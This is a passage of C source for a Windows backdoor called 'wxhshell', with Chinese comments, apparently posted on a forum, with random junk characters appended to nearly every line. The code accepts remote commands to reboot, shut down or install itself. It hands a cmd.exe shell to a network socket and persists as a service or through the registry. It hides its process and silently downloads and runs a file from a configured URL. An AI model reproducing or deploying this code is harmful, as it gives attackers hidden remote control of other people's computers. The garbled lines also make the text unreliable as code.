  8XE7]&)];  
  // 帮助 iSs:oH3l  
  case '?': { [FR`Z=%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oE]QF.n#  
    break; -]M5wb2,  
  } G2: agqL/  
  // 安装 8VXH+5's  
  case 'i': { _u QOHwn  
    if(Install()) 8&b,qQ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C,|,-CY  
    else %| Lfuz*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z=vU}S>r|v  
    break; OYn}5RN  
    } FXkM#}RgNm  
  // 卸载 IF:;`r@%  
  case 'r': { "oO%`:pb  
    if(Uninstall()) }b.%Im<3R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FJ)$f?=Qd  
    else n,WqyNt*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s`~IUNJ@P  
    break; gV_}-VvP  
    } 4~Q/"hMSkO  
  // 显示 wxhshell 所在路径 >}6%#CAf  
  case 'p': { draN0v f  
    char svExeFile[MAX_PATH]; 9InVQCf2J  
    strcpy(svExeFile,"\n\r"); 4^|3TntO  
      strcat(svExeFile,ExeFile); svH !1 b  
        send(wsh,svExeFile,strlen(svExeFile),0); 'm kLCS  
    break; &&>ekG 9@  
    } /h|#J  
  // 重启 1=Z0w +v{  
  case 'b': { 5VU2[ \  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y`a3tO=Pd  
    if(Boot(REBOOT)) {F.[&/A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nZYBE030  
    else { /f;~X"!  
    closesocket(wsh); ak!G8'w  
    ExitThread(0); KJ4.4Zq{c  
    } &gx%b*;`L0  
    break; Qq|57X)P*  
    } f(MO_Sj]  
  // 关机 @|YH|/RF  
  case 'd': { JT_ `.(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :eVq#3}  
    if(Boot(SHUTDOWN)) A6(/;+n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Ko!$29[  
    else { H"WprHe  
    closesocket(wsh); hkQ"OsU  
    ExitThread(0); XlR@pr6tw  
    } Ta\tYZj$  
    break; $*fMR,~t&  
    } ;uP:"k  
  // 获取shell zy }$i?  
  case 's': { sd|).;s}  
    CmdShell(wsh); 1p=]hC  
    closesocket(wsh); qY!Zt_Be6  
    ExitThread(0); HN|%9{VeB  
    break; & >fQp(f  
  } _.8S&  
  // 退出 #AQV(;r7@  
  case 'x': { /IMFO:c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0n{=%Q  
    CloseIt(wsh); h~zT ydnH  
    break; Ig>(m49d  
    } E r?&Y,o  
  // 离开 %1+4_g9  
  case 'q': { (SAs-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rnq7LGy  
    closesocket(wsh); )+9Uoe~6  
    WSACleanup(); $~T4hv :  
    exit(1); Qt<&WB fn  
    break; }0Ed ]  
        } l+^*LqEW2  
  } |&i<bqLw:  
  } {"KMs[M  
7-fb.V9  
  // 提示信息 }@d@3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \,0oX!<YY  
} 2<}%kQ`  
  } /cP"h!P}~~  
h <<v^+m  
  return; IW] rb/H  
} T]~ xj4  
pTLCWbF?  
// shell模块句柄 6.yu-xm  
int CmdShell(SOCKET sock) x7 ,5  
{ |P?*5xPB  
STARTUPINFO si; `r 3  
ZeroMemory(&si,sizeof(si)); jAlv`uB|G"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ; BHtCuY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -aCKRN85  
PROCESS_INFORMATION ProcessInfo; O?#7N[7  
char cmdline[]="cmd"; b@hqz!)l`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '!B&:X)  
  return 0; Ml-6OvQ7g  
} Ab.(7GFK  
$/Uq0U  
// 自身启动模式 {]4LULq  
int StartFromService(void) sK?twg;D*|  
{ HJ.-Dg5U  
typedef struct KHvYUTY  
{ 5]:U9ts#  
  DWORD ExitStatus; j^RmrOg ,  
  DWORD PebBaseAddress; NC6&x=!3  
  DWORD AffinityMask; H3-hcx54T  
  DWORD BasePriority; e~"U @8xk~  
  ULONG UniqueProcessId; ;#< 0<  
  ULONG InheritedFromUniqueProcessId; 19%i mf  
}   PROCESS_BASIC_INFORMATION; \1M4Dl5!  
0?|<I{z2  
PROCNTQSIP NtQueryInformationProcess; NL+N%2XG7  
}W^A*]X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ('+d.F[109  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F#5~M<`.o  
yyTnL 2Y9  
  HANDLE             hProcess; /PXzwP_(A  
  PROCESS_BASIC_INFORMATION pbi; G7/ +ogV  
1<aP92/N&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g2Z`zQA7  
  if(NULL == hInst ) return 0; &s!@29DXR  
Ar#(psU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y"$xX8o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b4Ekqas  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6[AL|d DK  
S~G ]~gt  
  if (!NtQueryInformationProcess) return 0; q{x8_E!L  
jT;;/Fd3/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n|yO9:Uw<  
  if(!hProcess) return 0; QIFgQ0{  
.O<obq~;C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -jm Y)(\  
zX i 'kB  
  CloseHandle(hProcess); p0eX{xm  
J C}D` h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |-~Y#]  
if(hProcess==NULL) return 0; Pr C{'XDlU  
a(ZcmYzXU  
HMODULE hMod; |CbikE}kL  
char procName[255]; goWuw}?  
unsigned long cbNeeded; 2y1Sne=<Kb  
V>rU.Mp QU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AFt s(  
%E;'ln4h&,  
  CloseHandle(hProcess); Qn2&nD%zi  
buHJB*?9  
if(strstr(procName,"services")) return 1; // 以服务启动 $3kH~3{]  
7F~X,Dk_  
  return 0; // 注册表启动 <9b &<K:  
} es0hm2HT3  
sV*H`N')S  
// 主模块 wVtwx0|1  
int StartWxhshell(LPSTR lpCmdLine) ChQx a  
{ Lu%b9Jk  
  SOCKET wsl; G=bCNn<  
BOOL val=TRUE; [()koU#w.  
  int port=0; 5 SQ 8}Or3  
  struct sockaddr_in door; [mueZQyI?0  
YuwI&)l  
  if(wscfg.ws_autoins) Install(); |;{6& S  
7 _[L o4_  
port=atoi(lpCmdLine); -$Ih@2"6  
~)M~EX&pK  
if(port<=0) port=wscfg.ws_port; Yx`n:0  
dqcL]e  
  WSADATA data; @>7%qS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xN'I/@ kb  
a?oI>8*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;qV>L=a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iK;XZZ(  
  door.sin_family = AF_INET; w&.a QGR#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?Q;=v~-Q  
  door.sin_port = htons(port); 2st3  
xD=csJ'(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U #0Cx-E  
closesocket(wsl); 0PCGDLk8  
return 1; JK] PRDyD  
} %@Jsal'  
MnHNjsO#  
  if(listen(wsl,2) == INVALID_SOCKET) { N6TH}~62}  
closesocket(wsl); /g.U&oI]D  
return 1; .fs3>@T"#  
} 7uk[Oy<_  
  Wxhshell(wsl); UC$ppTCc?  
  WSACleanup(); yWf`rF{  
zKK9r~ M  
return 0; HK% 7g  
Pc]HP  
} y<.5xq5_3  
ez[Vm:2K  
// 以NT服务方式启动 4mbBmQV$#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u$`a7Lp,n  
{ lk=<A"^S  
DWORD   status = 0; 8xMX  
  DWORD   specificError = 0xfffffff; vw@S>G lGg  
NCD04U5y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -I%5$`z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #p{4^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c[s4EUG  
  serviceStatus.dwWin32ExitCode     = 0; (w zQ2Dk  
  serviceStatus.dwServiceSpecificExitCode = 0; ?r!o~|9|  
  serviceStatus.dwCheckPoint       = 0; [<TrS/,)>  
  serviceStatus.dwWaitHint       = 0; "EJ~QCW*Yh  
-ze J#B)C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x|29L7i  
  if (hServiceStatusHandle==0) return; CU~PT.  
M UwMb!Z.s  
status = GetLastError(); onV>.7sG  
  if (status!=NO_ERROR) iJ|uvPCE  
{ Y|/ 8up  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VS|2|n1<6  
    serviceStatus.dwCheckPoint       = 0; DIUjn;>k8  
    serviceStatus.dwWaitHint       = 0; o,wUc"CE  
    serviceStatus.dwWin32ExitCode     = status; ;9'OOz|+1  
    serviceStatus.dwServiceSpecificExitCode = specificError; oD@7 SF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'O-"\J\  
    return; ABYcH]m  
  } :2)/FPL6  
d0 /#nz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ll?X@S  
  serviceStatus.dwCheckPoint       = 0; (Awm9|.{+  
  serviceStatus.dwWaitHint       = 0; G]aOHJ:.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kvj#c  
} U`s{Jm  
W(/h Vt  
// 处理NT服务事件,比如:启动、停止 ]]Ufas9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %N_%JK\{@  
{ 9o!Bzy+_  
switch(fdwControl) |gY^)9ei  
{ 8a"%0d#  
case SERVICE_CONTROL_STOP: xe$_aBU  
  serviceStatus.dwWin32ExitCode = 0; ,"0 :3+(8;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q=dy<kg']  
  serviceStatus.dwCheckPoint   = 0; >`D:-huNeE  
  serviceStatus.dwWaitHint     = 0; 7IM@i>p%  
  { yaV|AB$v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {(?4!rh  
  } pmYHUj #  
  return; !Xw5<J3L-  
case SERVICE_CONTROL_PAUSE: (C)p9-,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |sZHUf_  
  break; f|oh.z_R  
case SERVICE_CONTROL_CONTINUE: f`66h M[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9(<@O%YU  
  break; Yu`~U,m  
case SERVICE_CONTROL_INTERROGATE: r:TH]hs12+  
  break; wwcBsJ1{  
}; ^LzF@{ G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _h1mF<\ X^  
} 7Fsay+a  
_GPl gp:  
// 标准应用程序主函数 kg\ >k2h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |! "eWTJ  
{ f6"Z'{j  
@`Su0W+.  
// 获取操作系统版本 r#mx~OVkk  
OsIsNt=GetOsVer(); Y\'}a+:@Ph  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +x}<IS8  
Fv`,3aNB  
  // 从命令行安装 6;5Ss?ep  
  if(strpbrk(lpCmdLine,"iI")) Install(); iDrZc  
Q=yg8CQ  
  // 下载执行文件 [)X\|pO&  
if(wscfg.ws_downexe) { Z;)%%V%o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B4 }bVjs  
  WinExec(wscfg.ws_filenam,SW_HIDE); he hFEyx  
} vs{s_T7Mz]  
R0-j5&^jju  
if(!OsIsNt) { lU8Hd|@-  
// 如果时win9x,隐藏进程并且设置为注册表启动 b5n'=doR/I  
HideProc(); lsNd_7k  
StartWxhshell(lpCmdLine); -d:Jta!}{  
} kylVH! @l  
else @pU)_d!pJ  
  if(StartFromService()) %ULr8)R;  
  // 以服务方式启动 Dv`c<+q(#  
  StartServiceCtrlDispatcher(DispatchTable); \xoP)Ub>  
else u\nh[1)a)  
  // 普通方式启动 ^pk7"l4Xm  
  StartWxhshell(lpCmdLine); R ViuJ;  
}*"p?L^p{  
return 0; "g8M0[7e3  
}
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只看该作者 1 发表于: 2006-10-10
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